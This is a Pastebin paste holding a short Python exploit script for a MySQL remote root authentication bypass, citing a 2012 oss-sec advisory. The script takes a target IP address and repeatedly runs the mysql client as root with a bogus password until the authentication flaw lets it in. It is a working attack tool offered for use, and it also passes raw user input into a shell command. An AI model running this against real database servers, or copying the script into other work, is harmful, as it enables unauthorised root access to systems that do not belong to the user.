SHARE
TWEET

MySQL Remote Root Authentication Bypass

Googleinurl Nov 29th, 2013 671 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/python
  2. #
  3. #
  4. # This has to be the easiest "exploit" ever. Seriously. Embarassed to submit this a little.
  5. #
  6. # Title: MySQL Remote Root Authentication Bypass
  7. # Written by: Dave Kennedy (ReL1K)
  8. # http://www.secmaniac.com
  9. #
  10. # Original advisory here: seclists.org/oss-sec/2012/q2/493
  11. import subprocess
  12.  
  13. ipaddr = raw_input("Enter the IP address of the mysql server: ")
  14.  
  15. while 1:
  16.     subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()
RAW Paste Data
Top